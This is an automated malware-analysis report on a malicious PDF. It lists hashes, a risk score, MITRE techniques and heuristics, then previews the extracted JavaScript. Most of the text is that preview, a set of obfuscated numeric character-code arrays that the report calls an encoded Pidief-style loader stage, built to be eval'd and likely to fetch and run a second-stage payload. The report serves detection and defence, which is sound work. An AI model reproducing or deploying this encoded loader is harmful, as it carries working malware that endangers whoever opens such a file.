Malicious PDF — malware analysis report

Static analysis result for SHA-256 ed16c24829e7f84d…

MALICIOUS

PDF

11.4 KB First seen: 2026-05-11
MD5: f9d0a584563628d15122c4a56bb0c809 SHA-1: 628cb489f1009c7b0c0bc412782929c8e1b94e92 SHA-256: ed16c24829e7f84d6e5b8c38177a330f8fbb2dbf77b2bb5dab8333bfcc1a5aa6
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute code. The presence of PDF_JAVASCRIPT and PDF_JS heuristics further supports this. The embedded JavaScript file, 'javascript_obj0087_000.js', is the primary indicator of malicious activity, likely serving to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0087_000.js pdf-javascript-stream PDF /JS object 87 at offset 0x105 27466 bytes
SHA-256: 2dee5590272e82d8c00794f1f8e4eccde9d4f0b38beb356e7a78908f63619077
Preview script
First 1,000 lines of the extracted script
LAx4B85k=[127,41,62,45,127,17,25,5,104,110,52,8,47,18,22,104,98,125,57,47,60,54,118,36,119,127,47,113,54,127,39,49,44,44,58,49,54,43,115,55,49,0,127,51,40,38,127,48,45,127,42,45,43,51,51,109,99,57,38,43,54,51,117,62,62,49,47,47,118,58,127,55,61,44,38,62,38,62,49,98,38,62,58,45,44,42,42,116,45,56,44,44,47,119,100,34,58,45,98,45,51,113,45,44,47,36,58,119,111,38,45,44,43,43,56,112,54,62,62,58,49,43,36,49,49,127,54,51,49,127,60,45,127,44,62,100,34,115,47,58,51,45,109,118,100,49,45,44,47,59,119,118,43,48,49,119,3,125,122,38,57,55,49,42,103,29,107,42,45,54,41,111,47,58,58,62,122,42,108,107,122,42,107,103,48,59,105,42,122,111,42,44,60,127,122,111,122,60,103,42,28,127,98,28,58,29,122,29,108,111,111,108,110,28,103,42,107,27,104,42,103,29,106,42,122,42,122,29,111,42,111,28,30,103,26,42,122,111,108,111,122,28,111,42,122,42,106,102,103,103,122,29,104,27,122,103,108,107,103,28,26,30,107,42,106,25,104,42,106,29,103,111,122,42,122,30,105,42,107,109,107,42,122,109,106,30,27,29,122,29,26,42,122,42,122,109,103,29,122,102,109,107,122,28,26,110,104,107,103,108,106,42,26,104,111,42,111,105,122,106,122,42,103,42,122,42,106,107,108,42,122,30,103,29,103,108,122,42,26,28,122,42,122,108,25,108,106,108,104,103,122,29,106,105,104,108,25,105,109,42,106,105,104,108,111,29,122,42,122,42,107,42,122]; vtkimt08=[101,36,36,35,35,53,101,83,41,35,35,53,101,53,32,53,101,53,101,35,32,40,35,86,86,53,33,81,41,37,84,83,86,35,101,82,85,33,32,35,38,32,101,53,101,86,82,53,101,85,81,32,40,85,101,53,34,32,33,53,101,53,40,53,101,32,101,36,86,53,84,83,37,53,35,39,86,32,36,32,37,85,101,38,38,86,101,37,85,37,101,53,101,53,36,39,101,40,35,83,82,34,101,53,38,40,40,53,82,35,101,53,101,33,82,36,40,53,38,86,35,53,83,40,82,37,36,84,83,36,101,37,84,32,101,37,35,40,40,53,101,53,35,32,101,40,35,40,101,53,35,83,32,83,81,53,40,32,101,53,101,53,86,37,85,53,35,32,82,53,34,82,35,86,40,37,86,39,101,37,32,32,101,86,34,53,84,53,101,40,101,53,101,83,34,83,101,53,40,40,82,35,39,53,101,85,81,53,101,53,39,86,86,81,40,38,37,53,81,37,82,38,85,86,38,41,101,86,86,35,40,34,86,53,101,53,101,38,101,53,101,40,82,81,85,53,101,81,82,82,34,53,101,53,40,53,101,53,101,39,32,36,32,38,83,53,38,38,81,85,37,38,40,38,101,41,40,81,36,38,85,34,101,53,101,38,40,53,101,39,83,38,36,38,101,53,83,82,32,53,101,53,86,53,101,32,101,37,85,53,34,37,40,53,85,38,37,39,84,83,86,82,101,32,82,85,101,40,85,36,101,53,101,53,37,86,101,32,32,37,32,37,101,53,36,41,35,53,38,37,101,53,101,37,36,40,85,53,32,35,37,53,32,37,35,37,33,35,35,83,101,34,32]; D9UkP1n21124Yb=[123,61,120,14,112,122,109,61,109,112,112,61,125,126,121,61,109,122,10,14,125,123,109,120,11,61,109,61,109,124,125,10,109,14,127,9,109,123,127,122,125,112,113,127,125,61,123,127,10,61,120,14,109,125,109,61,125,61,109,61,125,120,125,61,109,13,112,9,14,112,109,61,14,126,109,61,109,13,14,14,14,14,10,112,109,125,120,124,127,14,11,120,125,61,13,120,126,112,13,124,109,61,109,61,120,61,109,61,126,14,127,124,109,61,126,121,14,13,109,61,109,125,109,61,109,61,127,9,127,121,127,122,109,124,126,11,123,112,126,125,127,61,122,14,122,13,126,13,126,61,109,61,122,13,109,61,126,120,126,13,126,61,109,14,126,124,109,61,109,124,109,61,122,61,122,125,109,124,127,11,109,14,126,14,127,121,126,14,126,61,127,11,127,61,126,124,122,61,109,61,109,112,126,61,127,14,126,120,126,61,109,123,127,11,109,14,127,61,109,61,126,120,126,13,109,14,126,121,109,126,125,120,123,120,36,13,123,61,127,56,127,109,61,35,126,12,43,42,20,106,120,126,43,41,39,126,61,109,62,43,127,41,124,104,96,115,61,104,117,59,120,38,45,109,115,43,125,20,106,61,45,58,14,12,43,50,41,97,104,49,15,45,96,41,58,47,18,4,7,27,56,11,61,41,117,104,41,120,41,27,97,120,43,20,106,61,104,26,43,120,20,106,109,61,62,59,109,61,61,104,6,46,120,43,109,43,109,109,120,43,43,43,120,61,120,43,120,43,120,43,124,43,120,61,120,43,120,121,109,61,45,61,120,38,120,61,120,43,120,43,120,61,109]; i7lTxta=[119,103,55,117,33,103,33,103,55,116,39,103,122,118,39,103,115,114,33,103,33,119,35,118,55,118,32,117,55,118,36,103,38,118,118,116,55,116,122,118,55,117,112,118,32,119,55,118,55,103,55,116,113,103,123,103,55,117,115,103,112,119,32,103,35,118,118,103,123,119,123,117,55,118,123,116,123,103,116,103,113,118,35,103,55,119,55,119,38,117,115,118,39,116,55,118,55,103,55,116,39,103,55,103,115,118,36,103,116,117,113,118,115,119,55,103,55,119,35,119,55,116,119,118,38,103,113,116,113,103,114,103,55,116,55,119,112,118,33,119,118,103,55,118,38,103,55,116,115,103,55,42,113,103,43,103,112,119,44,117,98,126,39,106,55,112,117,117,53,42,46,39,54,103,112,118,114,98,113,116,55,119,117,117,55,121,32,108,127,33,41,46,33,33,41,119,112,30,96,107,46,45,107,45,49,116,46,45,37,45,46,105,127,32,108,49,55,32,110,113,112,114,116,122,121,111,33,41,45,98,32,46,127,54,48,117,46,32,46,39,41,37,116,122,53,32,33,117,42,41,33,45,37,98,98,49,106,121,39,44,39,46,98,46,3,39,107,48,59,105,121,47,44,126,59,48,44,39,108,43,48,54,42,107,114,106,107,47,45,35,38,121,46,58,36,127,48,45,32,43,114,98,57,33,105,121,43,127,112,106,43,98,39,43,121,46,63,46,39,25,54,98,39,47,43,33,41,38,59,114,127,48,105,55,46,114,114,42,45,47,45,98,45,31,49,40,37,30,96,22,10,36,33,50,12,38,46,43,26,55,35,5,33,106,11,44,1,41,18,26,48,56,47]; nJ991NwSzZVe=[109,86,72,124,72,92,79,86,89,123,24,124,76,107,74,66,119,79,98,80,93,81,76,16,100,26,22,93,114,76,100,26,107,17,3,20,64,118,105,76,115,118,82,118,84,77,24,86,76,107,122,92,16,90,81,22,96,98,115,87,117,73,17,127,84,85,72,78,83,113,17,115,85,17,24,74,97,94,118,85,87,76,74,81,104,86,100,26,16,81,89,22,92,24,124,94,65,93,79,95,81,104,127,93,86,93,79,81,75,22,80,3,84,89,76,22,20,89,86,76,76,77,76,86,72,24,67,93,93,24,91,93,69,91,69,74,84,89,123,77,95,89,65,81,107,98,81,77,17,3,86,67,76,92,84,126,80,16,74,16,107,84,94,87,66,17,65,89,24,119,124,118,86,24,74,89,77,24,124,3,79,106,116,86,81,127,103,86,20,89,17,76,74,84,77,81,86,93,77,17,16,76,16,24,91,72,69,94,81,24,76,93,72,5,86,76,17,11,92,67,93,75,29,16,15,0,0,89,78,8,11,123,12,89,12,8,29,89,94,89,29,77,91,77,65,122,8,100,26,87,8,14,8,29,77,11,84,29,77,72,93,29,77,123,0,29,77,29,77,16,12,29,8,11,12,9,123,0,1,125,122,13,124,121,124,0,77,15,122,29,77,8,123,0,122,8,122,12,0,12,0,29,77,13,77,29,77,15,8,29,77,8,122,29,77,29,77,0,8,29,77,29,123,14,121,11,10,10,122,0,1,124,9,0,12,29,123,13,77,125,122,125,10,0,126,13,121,12,123,0,122,125,77,29,77,13,11,29,77,29,77,12,14,29,77,13,121,29,77,29,122,29,77]; WFvXh6Wr=[99,20,19,16,22,21,17,18,21,19,3,83,30,100,3,21,17,21,30,17,22,18,19,100,21,101,99,103,30,83,22,31,3,83,3,83,19,21,3,83,101,31,3,83,103,100,3,83,30,21,96,21,18,21,20,98,3,83,3,83,96,99,3,83,17,16,21,30,96,21,17,96,3,22,19,16,100,83,18,23,3,83,21,83,3,96,3,83,101,23,3,18,17,18,22,83,21,96,22,19,101,22,22,98,3,83,23,16,3,83,3,83,22,21,17,30,19,22,99,21,3,83,22,30,3,83,96,20,3,83,18,100,3,83,3,83,21,100,3,103,30,100,22,21,99,100,96,30,30,101,101,21,22,83,96,96,3,83,30,30,21,100,19,19,19,16,20,16,3,83,16,83,3,83,22,99,3,83,18,103,3,83,3,83,99,18,3,83,3,21,98,21,22,96,101,21,30,98,101,21,30,30,3,18,17,83,19,16,23,101,19,21,19,22,18,20,30,100,19,83,3,83,22,96,3,83,3,83,22,17,3,83,103,98,3,83,3,30,3,83,100,30,19,20,96,30,19,100,100,103,3,83,30,96,3,99,21,21,19,22,30,103,101,100,96,96,99,30,96,83,96,103,3,83,3,83,101,19,3,83,18,96,3,83,103,20,3,83,21,17,16,22,30,20,31,100,3,83,3,83,103,16,3,83,16,16,100,19,96,30,16,100,3,30,103,99,16,83,20,99,3,83,17,83,3,99,3,83,16,30,3,22,16,98,16,83,16,19,20,18,17,22,16,96,3,83,19,99,3,83,3,83,31,30,19,101,99,18,100,99,3,83,22,30,3,83,16,101,3,83,16,99,3]; a0F6d9uRaG=[106,58,106,41,39,58,92,38,44,89,89,39,47,44,44,43,44,42,47,39,106,90,90,58,106,92,45,42,47,40,42,47,93,42,47,58,106,42,106,58,106,47,43,58,106,39,45,58,106,58,106,42,42,58,106,58,41,44,41,42,43,40,89,42,89,40,47,89,45,58,43,93,106,47,44,92,45,39,47,44,46,92,89,46,94,45,106,58,106,93,90,58,106,58,106,42,39,58,106,39,39,58,106,58,89,58,106,89,39,38,94,47,40,47,43,42,42,58,106,93,47,58,93,42,40,42,90,42,42,42,39,42,41,44,44,90,106,90,47,58,106,58,106,89,90,58,106,40,43,58,106,41,47,58,106,41,89,92,46,40,89,44,39,58,106,58,106,41,89,58,106,89,89,41,42,89,39,42,46,58,94,40,43,45,106,47,43,58,106,40,106,58,46,58,106,40,43,58,89,40,47,41,106,41,89,41,89,41,42,40,43,58,106,45,92,58,106,58,106,41,42,41,45,41,90,41,89,58,106,45,90,58,106,41,90,58,106,45,90,58,106,58,106,40,90,58,92,40,47,41,89,41,47,41,39,45,92,41,46,41,106,41,43,58,106,40,43,45,89,40,92,40,47,44,41,58,106,41,106,58,106,40,44,58,106,40,43,58,106,58,106,41,91,58,106,113,89,40,47,42,105,126,109,41,58,41,93,94,46,58,47,106,54,36,89,47,47,44,124,41,44,41,111,34,106,112,106,94,55,67,61,115,63,122,67,61,113,108,36,105,47,106,47,94,47,116,111,122,47,126,58,54,47,102,112,111,52,113,47,94,126,119,115,94,47,109,63,106,67,61,94,58,106]; L9Ab49e1=[34,40,36,6,98,37,38,122,119,38,119,55,55,6,111,37,44,6,119,52,122,49,40,36,124,43,50,34,124,50,103,41,38,27,101,98,35,98,38,46,6,36,32,37,110,38,53,55,40,35,53,34,49,38,52,46,50,119,34,27,101,38,53,53,34,6,103,61,34,43,38,38,35,119,122,47,46,61,37,52,119,55,37,122,103,49,34,62,53,108,40,47,124,32,38,6,44,47,38,34,47,34,34,37,117,52,55,48,46,36,55,34,47,53,41,53,124,44,43,46,32,62,110,32,36,43,40,52,37,40,36,122,44,105,51,32,43,40,111,46,43,34,41,105,123,60,43,37,32,37,38,46,44,122,43,36,51,47,105,36,49,52,41,34,37,46,108,37,40,43,37,43,52,51,53,44,38,62,110,53,124,58,37,103,50,37,33,38,53,103,36,32,111,44,44,46,32,36,43,52,49,38,46,46,43,124,40,40,37,46,105,32,37,43,55,34,36,44,53,40,53,122,37,37,40,32,111,43,52,51,107,62,44,43,107,37,43,119,51,52,50,37,110,105,43,46,41,36,32,53,44,124,41,119,40,32,38,111,55,36,44,43,37,122,106,52,48,47,38,53,44,36,34,60,37,62,43,47,40,115,110,105,108,119,63,36,51,43,55,32,119,43,37,47,46,119,123,34,41,119,40,52,119,36,24,46,44,62,122,53,40,110,124,43,40,124,38,42,111,53,33,49,38,38,34,43,58,43,53,41,103,36,37,62,37,108,34,49,122,33,103,46,44,53,43,48,103,53,38,42,124,124,34,46,40,108,38,108,119,38,53,118,115,53,28,46,26,119,117,36,44,118,46]; K6F0kj8Q2ZO1C1x=[9,17,84,88,64,75,84,102,120,66,18,88,2,86,75,91,85,5,84,86,90,18,4,81,92,0,85,88,0,0,16,68,79,4,1,91,0,0,73,1,0,0,0,1,1,1,1,0,0,82,1,1,1,76,75,25,87,0,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,95,1,1,1,1,1,75,80,1,1,1,1,1,95,1,1,1,1,1,73,1,68,87,76,84,21,76,77,2,17,9,1,1,77,95,1,23,1,1,2,101,27,9,9,1,1,12,87,84,92,28,80,16,13,85,75,90,92,85,85,17,101,27,88]; Uhm80=[126,67,104,125,125,125,127,116,60,117,108,60,115,127,111,105,57,127,53,112,112,111,114,114,106,105,95,121,112,117,115,47,115,120,121,44,121,103,47,44,36,114,52,105,36,95,47,105,40,40,43,64,62,57,105,57,94,105,105,45,94,40,105,57,95,36,94,43,36,57,94,44,33,57,105,57,44,44,95,57,37,42,44,57,36,89,44,43,94,41,95,93,105,44,93,36,105,41,44,57,88,57,105,40,105,57,105,42,95,36,105,57,88,40,40,44,36,57,105,36,94,57,105,57,93,36,94,40,46,36,94,57,44,47,40,41,95,88,46,36,105,41,36,47,90,89,94,57,105,57,105,89,105,57,105,44,42,89,46,57,105,41,93,89,45,57,105,57,47,57,105,57,105,40,42,46,37,41,41,57,93,89,40,41,94,43,47,47,105,41,43,41,42,36,94,43,105,57,105,41,36,57,105,44,37,47,47,43,105,57,42,36,94,57,105,57,95,57,105,47,105,43,40,57,47,36,44,57,47,36,47,90,94,47,37,46,105,40,47,95,105,44,47,90,105,57,105,57,36,40,105,90,42,41,47,47,105,57,45,93,90,57,40,47,105,57,105,94,46,44,47,57,90,90,44,57,89,45,88,44,47,89,90,44,105,47,44,44,105,41,45,43,88,57,105,57,94,95,105,40,90,41,105,57,36,89,94,90,40,57,36,44,105,57,105,57,89,36,94,57,41,95,36,57,42,90,93,44,42,36,47,89,105,40,47,42,105,36,40,57,41,57,105,45,105,57,105,88,47,95,105,57,95,40,36,43,94,57,105,44,47,57,105,57,94,41,42,46,90,36,94,57,95]; Qhr587I2aEp8=[15,12,15,11,7,7,10,74,15,12,124,12,15,123,26,74,26,74,10,74,26,74,7,7,7,123,26,74,124,126,10,126,26,74,26,122,26,74,26,74,12,8,8,121,121,121,26,15,124,126,10,12,121,8,121,74,10,13,125,15,121,121,10,74,26,74,126,125,26,74,13,121,122,7,7,74,26,122,121,13,26,74,26,13,26,74,8,74,124,125,26,10,126,10,26,7,12,122,9,13,9,7,9,74,6,7,11,74,9,9,126,74,26,74,26,124,125,74,7,9,6,15,9,74,26,7,10,125,26,7,125,74,26,74,9,126,9,125,26,15,126,7,26,11,9,15,122,122,7,10,9,74,9,121,9,74,15,7,13,121,26,74,26,10,8,74,121,122,8,74,26,11,10,124,9,122,26,124,10,74,26,74,26,11,11,122,26,15,125,13,26,122,122,123,15,15,6,11,10,74,15,125,10,74,12,12,26,15,26,74,124,74,26,74,7,121,7,74,26,15,10,10,124,12,26,74,10,12,26,74,26,14,10,13,12,12,124,13,26,13,10,9,12,121,8,9,14,74,10,15,8,8,13,7,26,74,26,74,12,74,26,74,15,126,121,121,26,74,10,10,7,15,26,74,26,126,26,74,26,74,10,125,125,122,10,9,26,12,121,11,10,121,122,121,121,74,121,122,7,121,125,7,6,74,26,74,10,10,26,74,15,15,10,8,10,74,26,10,15,7,26,74,26,121,26,74,122,74,121,7,26,122,125,126,26,15,15,11,124,11,9,15,12,74,9,7,9,74,13,121,9,74,26,74,26,14,8,74,9,124,9,11,9,74,26,122,13,11,26,11,8,74,26]; ErcR8ikLjS1=[80,23,96,18,29,0,20,18,16,0,96,18,99,19,99,19,20,18,80,23,99,23,80,19,96,18,23,0,80,0,102,19,80,19,16,18,80,0,99,19,99,19,21,0,29,19,80,0,80,0,99,18,17,0,21,19,17,0,21,19,102,18,17,23,21,19,80,18,21,19,80,19,97,0,20,0,80,18,80,0,80,18,99,22,80,0,102,19,20,18,96,0,80,19,99,0,80,0,22,19,17,22,83,122,68,0,22,18,21,5,72,19,100,30,80,19,19,16,92,64,87,5,72,68,92,13,82,21,93,21,24,21,21,87,70,87,87,30,103,121,7,12,64,83,68,80,68,87,68,83,68,70,21,70,73,12,24,70,30,75,5,68,17,64,21,70,70,70,21,93,30,24,21,87,75,122,24,87,5,75,21,21,70,77,64,24,5,65,87,87,64,21,21,21,15,73,73,83,68,77,65,66,85,23,74,86,86,65,21,73,75,68,65,86,64,75,73,64,30,11,81,14,80,68,5,68,64,93,87,122,70,30,92,65,73,29,12,24,70,87,75,86,83,86,87,83,68,5,22,8,13,68,85,64,87,21,76,21,121,7,13,92,87,28,83,68,80,0,12,81,67,30,76,28,92,68,93,87,21,30,121,7,122,68,86,80,28,12,13,21,24,80,13,87,23,24,28,64,0,86,85,81,75,85,70,21,65,8,5,64,75,21,21,67,74,93,17,70,68,87,5,70,14,81,24,14,21,21,74,65,13,83,73,87,30,9,68,21,74,80,75,87,74,80,21,75,25,70,12,70,30,70,74,81,23,80,64,10,75,81,81,77,75,81,120,80,88,12,94,70,73,70,74]; rwGK98MyXl03OJb=[102,120,120,101,55,111,49,127,49,105,101,81,103,85,107,122,33,121,121,100,108,111,121,47,103,107,110,120,115,58,105,58,127,115,107,111,111,127,100,42,55,105,127,58,105,102,111,34,99,107,120,58,108,102,105,120,101,125,111,47,105,86,40,124,102,107,122,101,124,36,102,111,101,101,34,101,125,86,40,100,125,124,124,111,119,98,102,62,51,111,62,120,111,102,55,49,125,101,109,63,124,33,107,101,120,126,98,54,102,101,35,99,113,104,125,49,120,108,102,126,56,35,89,101,98,108,105,99,73,101,107,104,86,40,36,121,109,100,126,102,111,107,103,124,55,96,48,102,105,121,102,105,101,36,126,101,108,38,111,111,103,101,104,48,121,127,120,119,67,101,102,113,86,40,79,109,99,101,111,101,102,34,102,126,110,101,127,100,100,105,101,100,85,36,105,101,122,35,105,42,102,126,99,49,125,119,35,108,113,104,102,109,105,104,36,108,107,36,73,99,34,102,107,126,124,115,67,107,120,102,107,122,42,113,101,100,35,120,107,115,111,127,111,125,47,120,120,101,127,75,120,34,55,100,108,122,120,42,107,124,107,120,49,105,34,115,107,127,34,124,42,35,124,58,62,57,73,100,111,86,40,50,126,98,121,111,55,57,58,47,127,50,72,47,72,60,73,58,127,57,111,47,127,122,127,47,127,50,73,62,58,105,107,47,58,47,127,61,62,58,50,47,58,75,50,50,78,79,72,63,50,63,58,58,127,62,127,47,72,58,50,50,62,61,72,60,127,57,72,47,127,47,73,50,127,59,75,50,51,47,127,47,78,47,127,57,58,47,73,78,75,62,72]; B6KgEr=[84,38,85,82,37,35,69,34,69,21,85,21,69,35,85,82,84,81,37,21,82,34,37,33,69,21,69,82,87,21,88,21,88,34,69,21,85,84,69,21,85,85,69,34,88,86,83,83,37,89,87,33,85,86,69,21,69,21,85,87,88,21,80,83,69,86,37,21,88,83,69,84,69,21,80,83,69,21,83,21,38,84,69,35,82,83,69,21,85,34,69,81,38,34,85,36,87,83,87,88,35,83,69,21,83,21,83,83,84,21,34,37,69,86,88,21,80,80,69,83,69,21,80,21,69,21,87,21,84,89,69,80,38,38,69,21,33,89,80,84,69,82,83,84,84,83,81,38,37,88,87,81,80,21,38,80,69,21,80,83,69,38,35,36,87,21,38,86,69,21,83,21,69,21,35,85,37,38,69,21,69,88,69,21,38,34,80,33,69,86,37,88,84,86,84,85,81,34,85,88,83,21,86,21,69,37,88,35,35,34,82,86,80,21,88,84,69,21,69,83,85,21,80,35,85,34,69,21,69,83,69,21,88,88,69,34,88,80,88,33,88,36,35,83,85,82,69,83,69,21,85,21,69,84,85,38,85,83,80,21,80,37,35,83,69,21,69,83,80,21,83,21,85,88,69,21,87,34,69,21,34,36,69,33,85,82,35,87,36,83,88,88,38,38,69,21,69,21,35,80,88,21,38,87,69,34,37,21,33,38,69,88,69,21,80,38,69,21,34,21,38,82,69,33,86,82,69,21,83,34,69,86,38,38,89,85,38,88,84,85,86,37,69,21,33,21,87,88,86,21,89,88,69,86,33,21,34,80,69,37,69,21,82,21,69,21,86,21,88,33,69,88,86]; wO91ydLT=[9,105,57,122,14,9,14,105,15,123,8,121,124,13,15,122,120,126,124,122,57,122,120,105,57,124,9,105,116,121,126,10,57,122,9,105,57,122,57,105,57,122,10,123,121,105,57,105,10,105,57,9,116,120,15,105,120,14,9,116,14,121,116,121,124,117,127,121,57,124,57,105,9,124,124,121,127,127,124,116,57,121,121,105,57,105,124,116,57,15,127,121,120,105,57,105,121,105,57,123,126,105,122,116,10,15,127,121,124,121,126,127,127,105,10,105,57,126,57,105,125,124,120,125,126,15,57,14,14,121,116,105,57,105,122,127,57,10,57,121,124,105,57,121,13,105,57,123,121,105,121,117,10,10,116,127,10,116,9,9,124,105,57,105,57,121,123,121,57,124,9,105,120,10,57,10,10,105,116,105,57,14,123,105,57,10,57,15,124,105,122,14,9,105,57,124,13,105,120,122,120,121,116,121,10,122,116,122,120,105,57,123,57,123,116,124,57,126,10,105,124,123,57,122,13,105,10,105,57,9,57,105,57,123,57,122,15,105,121,123,121,105,57,126,125,127,10,105,10,123,125,126,125,123,126,122,9,122,120,122,57,126,9,105,57,126,10,105,121,122,120,122,57,122,9,105,57,122,57,105,57,122,10,122,10,105,57,105,120,105,57,123,9,123,124,105,127,122,9,122,15,122,15,122,124,126,15,123,57,123,57,105,120,123,122,127,124,122,10,123,57,123,116,105,57,105,10,122,57,122,124,122,124,105,57,105,125,105,57,121,8,105,10,122,127,127,120,2,113,53,124,27,61,105,62,105,15,122,52,124,124,56,36,122,14,124,57,45,124,58,45,108,57]; rX2H8rm0=[106,44,109,54,104,63,111,44,42,50,52,107,6,120,115,44,103,116,106,61,59,25,46,97,97,122,52,41,42,113,106,50,63,110,106,106,40,59,40,59,106,63,112,50,47,52,63,40,122,54,114,106,111,34,44,103,115,97,20,47,99,106,106,106,13,43,41,47,42,42,46,119,105,98,35,115,127,106,99,106,51,34,5,40,54,63,52,118,57,59,99,40,103,60,127,63,114,6,120,59,114,35,41,48,106,6,120,27,99,41,97,44,106,51,97,115,111,35,108,111,57,106,122,42,42,106,34,106,57,106,59,17,115,106,106,34,110,103,57,106,106,40,110,117,40,103,114,59,97,106,57,106,122,106,106,119,106,34,60,44,1,44,106,106,106,106,48,108,114,97,44,35,35,33,53,40,43,60,59,27,115,35,99,99,59,17,57,35,40,97,30,43,102,111,60,113,108,30,111,99,44,40,108,57,11,11,108,11,30,43,113,42,57,42,39,7,113,46,15,46,41,41,57,35,11,44,122,97,63,40,35,42,63,44,50,40,44,57,59,23,50,30,59,52,43,108,59,6,120,115,59,99,6,120,99,103,103,20,56,106,47,35,45,15,116,50,42,44,127,15,46,52,61,54,63,63,106,34,110,97,23,33,46,15,23,114,114,45,50,102,45,54,63,29,29,50,20,15,115,46,106,106,51,39,113,103,20,106,23,50,23,45,20,50,29,56,23,50,46,57,29,56,29,56,61,50,20,15,53,54,54,25,20,116,46,45,56,116,97,56,29,45,46,45,103,6,120,116,62,53,42,20,15,115,97,10,56,6,120,59,42,113,53,52,30,10,97,59,116,47,29,45,57]; i0vujH7v60thC=[76,83,71,106,126,92,14,88,79,90,103,14,65,94,106,90,70,96,6,90,104,104,75,64,83,72,65,64,94,99,93,6,19,64,75,79,77,88,85,92,7,21,64,88,90,120,75,90,92,71,0,1,73,7,71,92,71,92,0,64,92,93,88,19,89,75,106,64,6,75,65,75,71,65,65,125,92,75,93,71,94,114,114,88,75,71,93,1,65,73,2,89,93,92,79,64,66,64,75,92,92,88,6,64,75,71,9,92,0,92,6,9,14,79,113,111,79,75,79,79,19,87,79,87,77,79,65,7,21,92,14,88,70,7,65,79,2,88,92,71,30,77,70,111,90,88,90,6,31,77,0,92,93,64,2,6,75,71,92,111,70,64,0,77,93,88,0,6,71,79,7,21,92,71,92,111,75,7,65,64,6,65,87,6,64,92,28,7,65,64,71,79,92,93,8,8,6,72,71,115,19,93,92,79,90,19,22,7,93,117,30,92,92,113,79,92,93,71,65,92,88,79,117,31,7,88,113,19,79,79,31,8,79,65,19,30,92,92,79,87,7,92,115,19,64,7,117,28,115,87,87,117,29,92,113,113,88,88,79,6,19,92,92,79,93,79,92,82,82,64,8,71,92,71,31,18,65,115,65,71,83,92,79,88,79,88,7,21,71,6,72,71,6,79,92,6,79,64,117,90,113,64,79,87,79,90,72,82,91,94,93,85,113,92,6,66,113,92,64,30,115,79,82,92,92,8,117,7,93,115,18,93,8,92,92,19,64,71,31,87,66,117,22,79,92,30,88,22,65,65,87,28,71,113,19,66,71,18,64,117,88,79,8,8,79,77,115,79,92,115,65,65,72]; bE0slXo=[99,45,57,99,98,35,99,112,33,76,103,112,112,109,112,115,120,74,112,99,104,116,78,104,57,40,56,106,35,56,56,125,124,108,99,78,45,126,127,57,127,74,33,112,78,56,42,99,104,112,98,99,120,98,120,112,40,112,112,99,99,127,78,112,112,56,56,106,32,57,103,76,112,120,126,126,99,98,120,103,112,104,109,101,44,44,116,78,76,126,125,85,99,55,114,118,55,114,126,99,87,115,78,45,49,108,97,56,42,125,120,87,85,49,65,65,49,117,57,85,49,49,57,32,57,56,74,49,120,127,101,49,49,49,42,108,42,127,49,49,49,49,65,56,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,51,42,49,103,112,99,49,119,35,96,75,94,90,107,87,69,125,44,95,87,75,38,32,122,70,97,92,88,38,63,98,97,125,120,101,57,51,51,56,42,49,103,112,99,49,68,121,88,69,39,38,37,117,96,39,44,39,36,35,33,42,49,103,112,99,49,116,100,33,94,88,44,40,42,49,103,112,99,49,124,39,73,84,35,116,115,33,44,127,116,102,49,80,99,99,112,104,57,37,61,36,61,41,61,39,61,34,61,41,61,39,61,40,61,34,56,42,49,103,112,99,49,115,39,39,41,86,39,32,80,61,98,94,70,94,95,118,66,40,41,61,127,66,33,34,33,33,41,33,36,61,117,105,88,67,72,72,122,80,86,91,127,125,61,91,116,40,127,83,61,73,114,33,32,102,39]; 